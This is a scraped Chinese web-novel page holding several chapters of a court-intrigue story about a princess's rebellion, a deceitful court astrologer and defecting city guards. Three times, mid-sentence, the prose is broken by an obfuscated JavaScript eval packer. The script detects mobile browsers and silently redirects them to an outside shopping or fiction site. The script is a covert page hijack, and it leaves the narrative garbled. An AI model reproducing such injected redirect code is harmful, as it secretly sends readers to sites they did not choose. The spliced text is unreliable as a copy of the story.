他虽下了如此判断,城防兵队长却无法轻易放下顾虑,双目仍紧紧盯住远处的人马,和由数百支火把组成的蜿蜒火光。 突然,他眯了眯眼,一手搭上瞭望塔的栏杆,越握越紧,最后捏起拳头重重锤在栏杆上,命令道:“快去点烽火台!” 小兵有些犹豫:“可是参军大人说——” “那厮说个屁!”事态紧急,队长也顾不得斯文了,指着距城门已不足一里之远的队伍,高声叫道,“老子看见冲车和投石车了!除了作攻城之用以外,还有旁的解释吗?” 小兵扒上栏杆一看,果然如他所说那般,于是不敢耽搁,直接赶去点燃了烽火台,而后才顾得上去禀报参军。 “他们倒是机警。”江御暮低声道。 长公主转过头看着她笑了笑,心道这孩子久居京城,没什么行军打仗的经验,难免判断有失。 “机警这个词,他们还不配用。”长公主耐心教导女儿,“倘若今夜换做你去守城,你会在何时点燃烽火台?” 江御暮思索片刻,马上就反应过来了,惭愧一笑道:“女儿明白了,多谢母亲提点。” 距城不足半里。 长公主回头高呼一声:“展旗!” 城墙之上,近百名城防兵张弓搭箭,紧张地等待敌军进入射程,却发现他们的队伍忽然停住不动了。 紧接着,千余名兵士展旗列阵,举着火把将旗上国号照亮。 “那上面写的什么字?”一名城防兵小声嘀咕道。 他身旁的兵士眯着眼回应道:“看不清。” 他们虽看不清楚,但他们队长的夜视能力极佳,看清旗上文字后当即下令:“放箭!快放箭!” 箭矢如雨急落,奈何受射程所限,无一命中敌军。 长公主冷笑一声,轻蔑道:“不识抬举。” 语毕,她抬起右手,大幅度向前一挥。众人会意,相互配合着拉动投石车的绳索,将一块块棱角分明、边缘尖利的石头掷向城墙之上。 珏州参军姗姗来迟,等他登上城墙,此处原本的百名兵士已然死伤大半。 烽火台飘出呛人的烟尘,火光遥遥把战事突起的消息传向远方。 与此同时,穆归礼正在为不久之后的登基大典做准备,兴奋得难以入眠。 一身崭新的龙袍挂在他的寝殿里,飞龙的眸子静如死水,凝视着他的双眼。 98. 费红英奉旨离京城,穆归礼夜半…… 烽火台传信的速度极快,只过几个时辰,东边起了战事的消息就传到了京城。 但这种方式终究只能传递模糊的信息,京内对战火起源的具体地点暂时一无所知,更不知敌军共有多少人,是内部的叛匪还是他国的外敌。 穆归礼等不及地方将领的军报送入京城,便急着去请费红英算上一卦。 “癣疥之疾,不足为虑。”费红英信誓旦旦道,“不过是一股不成气候的乱匪,想趁新帝即将登基,朝局不甚稳定之际,为自己谋条出路罢了。” “乱匪?”穆归礼有些糊涂,“你可算得出他们是何身份、人数多少、源自何处?” “陛下无须担心,且容微臣细细算来。” 穆归礼尚未正式登基,费红英便已经开始称他“陛下”了,使之无比受用。 “依微臣的卦象来看,这股乱匪起事于涵州,不过百人而已。似乎……”她顿了顿,忽而皱起眉头,佯装惊诧地掐指一算,笃定道,“正是当初去涵州赈灾的那百名禁军!” “禁军?”穆归礼有些不敢置信,“他们为何要叛上作乱?” 费红英长叹一声,语带同情道:“禁军随先太子一同进山剿匪,得胜而归,本是大功一件。奈何禁军没能保护好先太子,以至于其重伤丧命,又是大罪一桩。” 穆归礼听懂了她的意思,推测道:“你是想说,他们害怕被治罪赐死,所以不敢回京,索性攻下了涵州城,据城而居,以求保全自身?” 费红英点点头:“陛下英明,卦中所言正是如此。” 穆归礼还是心存疑惑:“区区一百名禁军,便攻得下偌大一座涵州城么?” 费红英继续为他解惑:“若是寻常乱匪,想从城外攻入城内自然难如登天。但禁军不同,他们身负赈灾重任,又曾与涵州城防兵一同剿匪,早已获得信任,可以顺理成章地留宿城内。倘若禁军趁夜起事,城防兵很容易被打个措手不及,丢了城池也是难免的。能及时点燃烽火台传出消息,已经很不容易了。” 穆归礼渐渐回过味来:“怪不得这些禁军迟迟不返回京城,按理说,穆归衡客死他乡,他们应当立即扶柩回京,不可能耽搁到今时今日啊!” 费红英附和两句,又问:“陛下打算如何应对此事?” 穆归礼冷冷一哼:“当然是出兵镇压这些叛匪,夺回涵州!” 费红英慢慢摇了摇头:“陛下容禀,兴兵作战所费不赀,如今国库吃紧,实在拨不出足够的钱粮啊。” 穆归礼不悦拍桌道:“难道你要朕弃涵州于不顾,便宜了那些叛贼不成?” 费红英微微一笑:“不,微臣另有良策。” 穆归礼这下来了兴致:“哦?有话快说!” 费红英拉过他的手,在他掌心内写下两个字。 招安。 穆归礼被她勾得心猿意马,刚要把她的指尖握入手中,费红英却已收回了手。 “依微臣看来,既然那些禁军是为了保命才割据一方,不敢回京。陛下不妨就给他们一个恩典,下旨赦免其保护先太子不力之罪,同时嘉奖其赈灾剿匪之功,召他们回京领赏。禁军们得蒙圣恩,必然深深感念陛下的宽仁。” 穆归礼摩挲着手指,似乎已经被她说动了,但眉头依然拧在一处,好像心头堵着一口气出不去似的。 费红英想了想,又补充道:“待那些禁军回到京城,没了威胁,到时是杀是罚,还不是全听陛下您一句话么?” 穆归礼闻言,这才舒展了眉头,含笑轻点费红英的鼻尖道:“还是你了解朕。也罢,朕便即刻拟旨,给他们一个恩典吧。” 费红英这次罕见地没有躲开,反而伸手抚上穆归礼的手背轻轻一捏,柔声道:“陛下,微臣自请前去传旨,不知您允是不允?” 穆归礼反握住她的手,拒绝道:“这种舟车劳顿的事,随便派个小吏去就是了,何必劳动咱们国师大人亲自前往呢?” 费红英摆出一副体贴入微的样子:“倘若随便派个人去,陛下就不怕那人笨嘴拙舌,劝不回禁军,反而坏了您的大事吗?” “嗯,就你伶牙俐齿。”穆归礼调笑两句,忽又收起笑容,“此去涵州,毕竟还是有可能遇上危险的,朕怎么舍得让你去涉险啊?” “陛下无需为微臣忧心。”费红英忍住厌恶,手指拂过他一缕鬓发,轻声道,“微臣给自己算过寿数,还能陪陛下很多年呢。” 穆归礼心中泛起一阵痒意,冲动之下,忍不住俯首去吻费红英的唇角。 费红英险些便要作呕,幸而反应快,躲开了他的动作。 “躲什么?”穆归礼还当她是欲擒故纵。 “陛下别急。”费红英只能尽量拖延时间,用手指按住他蠢蠢欲动的双唇,“不妨等微臣此次传旨归来,再向陛下讨赏?” 穆归礼的喉结滚了滚,沉默良久才道:“准奏。” 费红英如逢大赦,连忙起身告退:“微臣先回府准备准备,尽快赶赴涵州。” “等等。”穆归礼扯住她的衣袖。 费红英背后一凉,僵硬地转过身,笑问:“陛下还有什么吩咐?” 穆归礼顺着衣袖握住她的手腕:“不必急着离京。过两日便是朕的登基大典了,你可不许缺席。” “那是自然。” 费红英答应得爽快,心里却盘算着必须尽快离京,否则等地方州府的军报一到京城,她撒下的弥天大谎就不攻自破了。 不多时,她第二次行礼告退,穆归礼却又把她拦了下来。 “陛下还有旁的事与微臣商议?”费红英已经开始在心里骂粗话了。 穆归礼这次并非没话找话,而是真的骤然想起了一个尚未解决的问题。 “涵州刺史的奏折里只提及了穆归衡的死讯,并未写明江御暮的现状。”穆归礼实在难以忘记这个毒妇给他造成的麻烦,“鸿影,你便帮朕算一卦吧。” 费红英不欲与他多待,便道:“其实微臣也好奇得紧,已然私下算过了,答案着实出人意料。” 穆归礼挑了挑眉:“哦?” 费红英唏嘘一叹,沉声道:“她死了。” 穆归礼先是一愣,继而好奇地问:“怎么死的?” 费红英信口胡言道:“殉情。” 穆归礼一时怀疑自己听错了答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027001|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案:“啊?” 费红英一本正经道:“卦象如此,微臣也很惊讶。” 穆归礼琢磨了半晌才接受这个结果,啧啧叹道:“朕还以为那毒妇心中唯念一个利字呢,真没想到,她竟是个情种。” 费红英附和道:“正所谓,知人知面不知心嘛。” 穆归礼轻笑一声,伸手捏上她的耳垂:“朕不必知道旁人,只要知道你的心就够了。” 费红英也展颜而笑:“微臣飞鸿影,必不负陛下之心。” 还是那个道理,做出承诺的是飞鸿影,跟她费红英有什么关系? 然而穆归礼并不知内中门道,还为着这份“承诺”沾沾自喜了许久。 两日后的清晨,登基大典如期举行。 穆归礼身着龙袍,头戴帝冕,在百官面前一步步登上石阶,稳坐龙椅。 他垂眸扫向阶下众人,却不见费红英的身影。 怎么回事,不是说好了不会缺席的么? “国师何在?”穆归礼高声问道。 阶下百官举目四望,迟迟无人应声。 典礼结束后,穆归礼下令召见费红英,传旨太监疾速赶往她的府邸,却听家丁们说国师大人已于昨夜离京,奉陛下之命赶往涵州,似有要务。 穆归礼闻讯,起初极为不悦,后来却渐渐开始帮她找起了理由—— 黄历上说昨日宜远行,今日忌远行,也许鸿影只是讲究这些说法吧,他想。 但即便是这样,费红英为什么不先来跟他禀报一声呢? 穆归礼实在想不明白,晚上也没了与护卫温存的兴致,躺在床上许久不得入眠。 这种难以安寝的状态一连持续数日,直至今晚。 小半夜过去,他好容易酝酿出了些许困意,刚被扯进梦境的边缘,寝殿外却忽然嘈杂起来。 “陛下!珏州军情急报!”负责递送军报的小吏高声叫喊着。 穆归礼猛然从床上翻起来。 珏州为何会有军情? 国师不是说,那些禁军只是割据涵州,并未攻打其他城池吗? 更何况,珏州和涵州之间还隔着一个景州呢。就算禁军一路攻入了珏州,为何景州毫无动静,更不见有军报送出? 穆归礼心里愈发没底了,不敢再多耽搁,胡乱踏上鞋履便往门口走去。 小吏跪在门外,满头是汗。穆归礼劈手夺过军报,展开草草通读一边,顿觉两眼发黑。 好个国师,好个飞鸿影。 原来你前两日所说的卦辞,全部都是骗朕的! 江御暮并没有死。 不但没死,她还摇身一变,成了前朝余孽! 这份军报也说不清缘由,只道某天夜晚,一支近两千人的军队忽然出现在珏州城外,展前朝战旗大举攻城。 珏州守军寡不敌众,败局已定。珏州参军在城破前慌忙写下这份军报,并遣人将其送入京城,向新帝求援。 穆归礼双手微微颤抖,合起军报,满心只想着一个问题—— 倘若送出这份军报时,珏州已然临近城破。那么时至今日,那支叛军又离京城更近了几分呢? 99. 陆一峰巧救恩人女,瑾州客代传…… 次日正午,杏林医馆大门敞开。 费红英恢复了女子打扮,一边收拾桌椅上的积灰,一边看着街上走过的禁军队伍。 穆归礼上位后,原本那几支禁军的正副统领都换成了他自己的护卫。 今日一早,这些禁军兵分两路,一路去抄江御暮的家,另一路去抄国师的家。几个时辰忙活下来,全都无功而返,连一枚铜板都找不出来,更没寻到她们两家暗中勾结的证据。 京内百姓原本只对战事略有耳闻,并不知道“叛军”的具体信息。如今穆归礼派人大张旗鼓地抄家,反倒给人们提供了想象的空间,引得街头巷尾议论纷纷。 “听说了吗,东边那伙叛军好像跟太子妃有点关系。” “什么太子妃呀?太子都死了,皇上也换人了,人家江小姐早就不是太子妃了!” “瞧你们,什么都不懂!我堂兄刚从珏州逃回京城,我听他说呀,江小姐的身世离奇着呢!江家夫妇根本就不是她的亲生爹娘。” “对对对,我也听说了。她亲娘的身份被传得玄之又玄,连‘死而复生’的故事都传出来了,好像是前朝的什么公主?” “不管传闻是真是假,抄了江家不就行了?为何还要抄国师的家?” “啧,这都不懂。国师肯定也生出了叛意,投奔江家了呗!” “诶,国师不是很有神通吗?连他都投奔江家了,会不会是天意所——” 刚聊到兴奋之处,众人的议论便被巡逻的城防兵打断。 “散了散了!都散了!”陆一峰骑在马上,拿着未出鞘的长刀吓唬众人,“陛下有令,妄议国事者,斩立决!” 此话一出,百姓们纷纷闭口不言,作鸟兽散。 陆一峰叹了口气,顺着这条街巷继续前行。 路过杏林医馆时,他习惯性往那个方向瞟去一眼,继而一怔,立时勒马不前了。 “怎么了,队长,有情况吗?”李节晚一步叫停马匹,与陆一峰并排而立,顺着他的目光看向杏林医馆敞开的大门。 “没事。”陆一峰目光不移,吩咐道,“你们先继续巡逻,我随后跟上。” 李节没有多问,点点头便离开了。 同行的另一名城防兵本是来自涵州的“灾民”,他一言不发地跟在李节身后,虽已策马走出一段距离,却忍不住回头朝医馆的方向看去,眼神显出几分担忧。 陆一峰跃下马走到医馆门口,向里张望一番,正对上费红英的眼神。 “军爷,来抓药么?”费红英认出了陆一峰,却没有表现出来,只摆出一副迎客的笑容,向他走去几步。 “不是,我就是来瞧一眼。”陆一峰的目光扫遍整间屋子,最后落在内室的门上,“这家医馆关了许久,今日忽然开门,我还以为是费大娘回来了呢。” 费红英上下打量他一番,忽然表现出恍然大悟的样子,眉眼弯弯道:“您就是陆大哥吧?我娘跟我提过您。” 陆一峰这才重新与她对视:“你是费大娘的女儿?” 费红英点点头:“我娘回乡以后,还总惦记着您女儿的病情,不知她恢复得如何了?” 陆一峰的脸色柔和许多:“她一直吃着费大娘赠的药,身子已然比从前好多了。” 费红英温柔一笑道:“我娘专门嘱咐过,让我回京以后,替她找您一趟,给小姑娘再诊一次脉,看看是否需要调整药量。还再三强调了,不许我收诊金呢。” 陆一峰面上更显喜色,嘴里却还客气着:“这怎么好意思呢……” 二人正商量着何时去陆家给孩子看病,突然被几个不速之客打断了对话。 来者是一支禁军小队,共有十人,领头的队长姓曹,因为与陆一峰彼此相识,便打了个招呼。 陆一峰看出来者不善,便借着打招呼的动作挪动步伐,将费红英挡在身后,佯装随口问道:“弟兄们这是来公干的?” 曹队长并不把城防兵当外人,直言道:“奉陛下旨意,来这抓个人。” 说完向前挥一挥手,命令道:“搜!” 其余九人随即分头散开,翻箱倒柜。 陆一峰心中扑通一跳,面色却并未大改,追问道:“抓什么人呀?竟出动了这么多弟兄。” 曹队长错开两步,抻着脖子看了看他身后的费红英,仍以轻松随意的语气答道:“也不是什么穷凶极恶之徒,就是个行医的老太太。” 陆一峰咽了口唾沫,索性把这个多事者做到底,环抱双臂扯出一点笑容:“多大岁数的老太太?犯什么事了?” 曹队长撇了撇嘴,竖起一掌挡在唇边,凑近他低声道:“听陛下的意思,那老太太好像跟叛匪首领,就是前太子妃,关系非同一般,要抓回去审一审。” 这番言语仿佛突然给陆一峰提了个醒——对啊,当初是江御暮介绍他来找费杏林相助的,还说凭她的面子,费杏林便不会收他的诊金和药钱。如此看来,她们确实私交甚笃啊! 想到这里,陆一峰不由得庆幸起来——幸好费大娘早就回乡了,否则今日肯定要被这些人抓走。待到那时,她就性命难保了。 但是与此同时,陆一峰又有着另一重忧虑——费大娘是安全了,她女儿可还在京城呢!万一这些禁军找不到她,便把她女儿抓去充数,这可怎么好? 事实证明,他的担心并不多余。 这些禁军三下五除二就把医馆翻了个底朝天,却不见费杏林的踪影。 曹队长苦恼地舔了舔嘴唇,眼神一转,再次落在费红英的身上。 “哟,方才还没顾得上问呢,这位姑娘是——?” 费红英面无惧色,毫不心虚道:“我是来抓药的。” 陆一峰几乎与她同时开口:“这是我表妹。” 曹队长有些意外,张了张口,刚发出一点声音,陆一峰就补上几句:“我表妹刚来京城投奔我,对这不太熟悉,连抓药都得我亲自带她找医馆。” 费红英见他主动相助,能为自己省去不少麻烦,便配合道:“我们刚才还觉得奇怪呢,这医馆的门大敞着,屋里却没有人。” 陆一峰连忙附和道:“是啊。如今想来,估计是那老太太做贼心虚,提前逃之夭夭了吧?” 曹队长皱着眉叹了口气。 连个老太太都抓不到,陛下肯定又要对他发火了。 一行人出了医馆,禁军在门上贴好封条就回宫复命了。 陆一峰长出一口气,转头看向满脸落寞的费红英,决定先串个供。 “表妹怎么称呼?”他问。 费红英抬头看着他,随口给自己编了个名字:“费小桃。” 陆一峰笑了笑,心道:嚯。前有杏,后有桃。一家子水果,再生个闺女该叫费小梨了。 …… 珏州,西城门。 经过一番苦战,珏州的城防兵已然所剩无几。入城后,长公主命人斩杀了所有不愿归降的兵士,将故国的战旗高高悬上城头。 “不知红英能拖延多少时间,穆归礼何时才会下令调兵。”江御暮说道。 长公主负手远望:“就算一日都不拖,穆归礼见烽火传信后,立即下令调动南北各州的守军,他们至少也要半月时间才能赶到珏州。就算他们不来珏州,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036898|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去前方的瑾州守株待兔,也要耗上十二三日呢。总之,咱们肯定比他们到得早。” 次日清晨大军拔营,仅五日后便赶到了瑾州城附近。 比起毫无准备,被迫迎战的珏州,瑾州显然做足了防御措施,绝大多数城防兵都守在东侧城墙上。瑾州参军仍嫌人数不足,这几日又临时招揽了一大批壮丁,未经多少训练便让他们穿上了战甲。同时在城内广收粮草,各家铁匠铺也日夜不休地造着箭镞。 长公主并未贸然开战,而是先命众军在城外安营扎寨,同时将四周村落的运粮路线把守起来。 “先耗他们几日。”长公主如是说道,“他们摸不清咱们何时攻城,便得日日夜夜守着城门,总有松懈的时候。” 为防奸细入城,瑾州刺史早已下令,百姓只许出城,不许进城。 自打长公主兵临城下,瑾州离城而逃的百姓便一日多过一日,而且大多是从西城门离开的,生怕遇上东边的叛军。 几日后的一个晌午,忽有一名年轻女子要从东城门离开。 “做什么去?”守门的卫兵依例问道。 那女子怯怯道:“回军爷,我爹娘都在城东的乔家村里,这几日外头闹叛匪,我怕他们出事,想回去看看。” 那卫兵叹了口气,劝道:“倘若真要出事,你回去了又有何用?你一个弱女子,难道还能跟叛军拼命不成?” 那女子闻言,立时落下泪珠:“便是死,我也要和爹娘死在一处。一个人孤零零地活着,有什么趣?” 卫兵见劝不住她,只得作罢。继而依例检查了她的包袱,见里面只有衣物,并无可疑的物什,这才放行。 “多谢军爷。” 那女子小跑着出了城门,走远一段距离后,才回头望了望城墙上的弓箭手。 她面上再无哀色,胡乱抹去做戏的泪水,继续往东边跑去。 不多时,她便跑到了得月军的大营前。 哨兵见到陌生面孔,当即张弓搭箭,对她喊道:“你是何人?竟敢擅闯军营!” 那女子弯腰撩开裙摆,取下缠在小腿上的短剑,双手将它高高捧至头顶。 “民女袁清,求见小殿下!” 哨兵连忙收箭,生怕一不小心误伤了她。 小殿下早就吩咐过,若有名唤袁清,手执短剑的女子入营求见,他们必得第一时间进去通报。 江御暮听说袁清来了,连忙命人带她进帐。 这次见面,袁清显得有些忐忑,双手紧紧握着短剑。 江御暮正欲揶揄几句,却听袁清低声道:“小殿下,我这次前来,是代旁人给长公主殿下传话的,可否请您帮忙——” “那么见外做什么?”江御暮蹙眉道,“一口一个‘您’叫着,成心膈应我是不是?” 袁清这才露出笑容:“不不不,我改口便是了!你就帮我跟长公主通传一声吧。” “通传倒是可以。”江御暮微微向前倾身,凑近她的面庞,“但你得先告诉我,你要代谁传话,传什么话。” 袁清抿唇一笑:“那个人,你也认识的。” 江御暮想了想,猜道:“孟家粮商?” 袁清摇摇头,又点点头:“孟家也有话要传,不过顺序要往后放一放。” “那还能是谁……”江御暮想不到了,她和袁清还有什么共同的熟人,“总不能是红英吧?” 袁清噗地笑出了声:“御暮,你是真把他忘了啊。” “谁?”江御暮疑惑不解。 袁清轻声一叹,凑到她耳边含笑道:“不敢自名游侠客,微命轻羽——燕识风。” 100. 穆归衡进店寻孟聪,燕识风入府…… 穆归衡离开涵州前,曾与长公主密谈了一次,连江御暮都不知道此事。 谈话结束后,长公主还让费杏林给穆归衡易了容,而后才放他走。 “殿……公子。”在穆归衡的要求下,石涅不得不改口,这称呼叫着实在不大习惯,“咱们这是去哪啊?” “瑾州。”穆归衡惜字如金。 “去瑾州做什么?”石涅想不明白。 “找人。”穆归衡仍未多加解释。 石涅牵着旺财,看着它没心没肺的样子叹了口气。 老实说,直到现在,他还没完全搞清楚发生了什么。短短几日过去,熟识之人的身份便发生了天翻地覆的变化,要他如何能顺理成章地接受这一切? 听完穆归衡对近日之事的解释,石涅也曾追问过他:“您和太……呃,江小姐,现在究竟是怎么个说法?” “没说法。”穆归衡回答时面无表情,仿佛心内也全无波澜。 眼看自己是问不出他的实话了,石涅只得闭口不言。 许是无心插柳柳成荫吧,他的沉默反而换来了穆归衡的一次主动提问。 “石涅,你我相识十年了,名义上虽是主仆,实际上却与知交好友无异,不是吗?” 石涅先是一怔,继而不好意思地笑了笑:“公子若这么说,卑职以后只怕要愈发没大没小,蹬鼻子上脸了。” 穆归衡也牵了牵嘴角,继而正色道:“既然太子已经死了,你这太子护卫便也恢复了自由身。从今以后,你不必再跟着我,可以去任何你想去的地方。” 石涅闻言霎时睁大双眼:“可卑职……我便是离了公子,也不知该去往何处啊。” 穆归衡并未坚决赶他走,而是态度缓和道:“也罢。左右我要先去瑾州一趟,你便与我同去吧。等到了瑾州,你再决定是在那里落脚,还是上路另寻他处。” 二人加快脚程赶往瑾州,由穆归衡出钱在城内租了套宅子。 彼时景州刚刚易主不久,消息尚未外传,瑾州城内仍是一片平静。 穆归衡记得袁清说过,她的主家姓孟,是瑾州城内最大的粮商。果不其然,他上街随意找人一打听,就得知了孟家粮铺的地址。 他一进那铺子,伙计便殷勤迎上:“哟,客官,想买些什么?” 穆归衡随意扫了几眼店内的陈设,负手道:“我这有一笔大生意,想与你家家主详谈。” 伙计见他的穿着打扮并无富贵之象,不由有些怀疑,但脸上仍然挂着礼貌的笑容,应承道:“家主今日不在店内,客官不妨留下姓名,由小的去——” “不必留名。”穆归衡打断道,“你只需告诉他,我是涵州来客,他自会掂量轻重。” 伙计听了此话,心里立时明白过来,当即将穆归衡请入孟府,继而兴冲冲地去向家主禀报。 孟家家主名唤孟聪,约莫四十余岁。一听有涵州来客上门拜访,便以为穆归衡是太子派来征收赈灾粮的使臣。 “尊使,不知殿下此次需要多少粮?”他的态度毕恭毕敬。 穆归衡不答反问:“你有多少?” 孟聪先是一愣,继而笑道:“只要殿下愿意卖孟家一个人情,自然是他要多少,草民就能给多少。哪怕孟家存粮不足,草民亦可想想办法,从同业手中购入足额谷粮,供太子殿下取用。” 孟聪知道舍不得孩子套不着狼,倘若能靠太子的人情谋得皇商之衔,孟家的产业就不再局限于瑾州之内了。为了长远考虑,割出眼前的这点损失又算什么呢? 然而令他意外的是,穆归衡提出了一个古怪的要求,让他把九成存粮全部藏进地窖里,并且不许对外透露消息。 “不知此举何意,尊使可否为草民解惑?”孟聪一头雾水道。 穆归衡仍然卖着关子,再三叮嘱他:“过些日子,瑾州官府很有可能会下令征粮。倘若有官差来问你,你便说自家的存粮都被太子征去赈灾了。他们若不信,你便打开库房给他们查看。只是万万记得,务必藏好地窖的入口,切莫被他们发现端倪。” 孟聪听罢更为疑惑:“官府为何要征粮?” “多做事,少打听。”穆归衡拍拍他的肩膀,“只要孟家信守承诺,殿下必不会亏待你们。” 只不过……他口中的这位殿下,并非孟聪此刻理解的那位太子殿下。 一直等到珏州失守,前太子死讯传遍天下,前朝长公主举兵向瑾州进发,逼得瑾州官员急招新兵、广征粮草之时,孟聪才终于参悟了穆归衡当日那番话中的深意。 至于该作何选择,他丝毫没有犹豫。 “官爷,草民家里真的没有余粮了!您若不信,可以去仓库里看呐!老鼠都饿死了……” 谁说只有参军杀敌才能挣一份从龙之功?两军交战,粮草从来都是重中之重。 长公主的军队若能攻入瑾州,孟聪自然会毫不犹豫地履行诺言,向她投诚。即便她攻城失败,反被朝廷镇压,也不会有人知道孟家曾与“叛贼”勾结,孟聪依然毫无损失,可以独善其身。 官差在孟家搜寻无果,只得悻悻离开。 与此同时,穆归衡和石涅也趁官府大肆招揽壮丁之际,顺利成为了瑾州的城防兵。 穆归衡本来没想带着石涅一起,但石涅生怕被他丢下,说什么都要跟着一同去。穆归衡拗不过他,只得把旺财送进孟家,托付给袁清照管。 袁清得到家丁传话,赶去接旺财时,穆归衡已经离开了,二人并未打上照面。但她在江御暮的营帐外见过旺财,一眼就认出了它。 “是什么人把它送来的?”她问。 家丁回忆片刻,答道:“是家主的贵客,看打扮应该是个城防兵。” 袁清又问:“那人可曾报上姓名?是男是女、年龄多少、样貌如何?” 家丁摇摇头道:“不曾通名,是男子,约莫二十岁上下,样貌……在你们姑娘家眼里,应该算是俊朗的吧。” 反正在他看来,那人不过是个小白脸,虽然穿着城防兵的甲胄,却丝毫没有沙场硬汉的气质。 袁清问不出太多信息,只得先把旺财带回内院。 又过一段时日,得月军已在瑾州城外安营扎寨,城内的氛围也随之紧张了许多。 孟家表面上无人谈议国事,关起门来却各有各的闲话。 闲话的重心时常会落在袁清身上——孟家许多人都知道她与叛军首领江御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044364|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暮私交甚笃。幸而孟聪三令五申,让众人在外人面前管住自己的嘴,这消息才没流出孟家,否则少不得要给袁清引来麻烦。 “你们说,瑾州这一仗何时才能开打?”几名值夜的护院正在闲聊。 这几人都已年过五十,原是孟府的仆役。因为最近城内许多青壮男子都被拉去守城了,他们这才不得不临时顶上,担任护院之职。 “啧,反正我是希望早些打,免得夜长梦多。” 身为平头百姓,他们其实并不在乎龙椅上坐着的人是谁,只要那人能让他们过上好日子就行。 “倘若瑾州真的失守了,孟家凭着袁清姑娘的面子,应该不会有啥损失吧?” “说不定,还能鸡犬升天呢。” 几人正聊得兴起,身后的大门忽然被人敲响。这三更半夜的,还真有点吓人。 “何人敲门?”护院手执长棍,高声问道。 那人随即答道:“城防兵。” 护院心里一跳,彼此交换几个眼神,心里都琢磨着:我们方才聊天的声音并不大,他应该听不见我们议论的内容吧? 无论如何,他们都不能把城防兵拒之门外。 “军爷。”一人赔着笑打开大门,却将身体堵在两扇门的开口处,“这么晚了,不知您有何贵干?” “找人。”那人直入正题,“袁清可在府中?” 护院们闻言,一时都有些害怕,其中一人便睁眼说瞎话道:“谁?我们府上没有这个人呀。” “是么?”那人轻笑了一声,似乎并无敌意,“她还替我养着狗呢,难不成,你们把人和狗都弄丢了?” 众人听他提起旺财,这才松了口气——原来他就是家主的贵客,不是来抓人的呀,这就好办了! 护院们不便直接去内院叫人,便让值夜的婆子代为传话,将袁清请到前厅叙话。 袁清从睡梦中被人叫醒,起初很不高兴,揉着眼睛问道:“谁呀?若是找我有事,为何不白日前来,非要半夜搅扰?” 那婆子也不太清楚,一知半解道:“是个城防兵,好像说旺财是他的狗。哎唷,不知道他是不是想把旺财要回去哟……” 袁清一听此话,立马不困了,匆忙起床穿衣,随意挽起头发便院外跑去。跑出院门忽又折返回来,把栓旺财的绳子解开,带它一起往前厅赶去。 来至前厅,这里已然点亮灯火。袁清推门而入,只见一名兵士站在屋内。 她不认得他的脸,旺财却好似与他十分相熟,咧着嘴兴高采烈地直往他身上扑。 袁清关好屋门,带着打量的眼神走近几步,问道:“阁下是御暮的人?” 那人点点头,冲她微笑道:“如今,该唤她一声‘小殿下’了。” 袁清又问:“是她让你来找我的?” 那人垂眸道:“不,是在下想请姑娘帮忙,给她传几句话。” 袁清心道:既然此人知道我与御暮相熟,还知道我在孟家生活,想必御暮一定很信任他,否则不可能将这些事情告诉他。 “不知阁下如何称呼?”她问。 “在下……”那人抬眸对上她探询的眼神,睫毛颤了颤,坚定道,“燕识风。” 101. 长公主劳军设夜宴,魏参军受骗…… 在长公主面前,袁清将燕识风的计划和盘托出。 “据燕少侠说,瑾州城如今虽然凑满了一千名守军,但其中足有一半都是被赶鸭子上架的百姓,连如何搭弓射箭都得现学。” “他混作城防兵打探了这些日子,发现营中许多兵卒都有拱手而降,归顺故国之意。奈何瑾州的官员们是铁桶一块,打定了主意要与你们死战到底,其中尤以瑾州参军为甚。兵士们固有二心,也不敢轻举妄动。” “这段时间,你们迟迟没有攻城之举,反把瑾州守军耗得愈发焦心了。加之燕少侠一直在私下拉拢有心弃暗投明之人,时至今日,已有一百三十余名城防兵愿意随他一起投入得月军。而且他们都是货真价实的城防兵,并非滥竽充数之人。” “奈何他们暂时寻不到脱身的契机,无法顺利出城。所以,燕少侠托我来向长公主殿下求助。” 长公主不得不承认,这位“前女婿”如今确实让她有些刮目相看了。 如果能帮助那些城防兵顺利“叛逃”,得月军再添兵力自不必提,瑾州军内部亦会因此军心大乱。 事不宜迟,长公主立即吩咐一队兵士:“速去一趟附近村落,买几头猪来,分量要足。此外,这几日外出打猎的兵士们可有什么收获?” 一名小兵答:“禀殿下,三队猎回来几头鹿,五队钓上来几桶鱼,一队今日轮值,还要晚些才能回来。” “行,那便一并算上。”长公主扔给他们一袋钱,“今晚给将士们好好开一开荤。” …… 黄昏时分,逐渐隐去锋芒的浑圆落日沉入一片金赤交融的晚霞。城墙上的兵士们却无暇欣赏美景,全都紧张兮兮地盯着由远及近的敌军队伍。 瑾州参军魏喜刚刚接到敌军靠近的消息,晚饭还没吃上几口,便急匆匆往城墙上冲。 “弓箭手,时刻准备!”他高声下令。 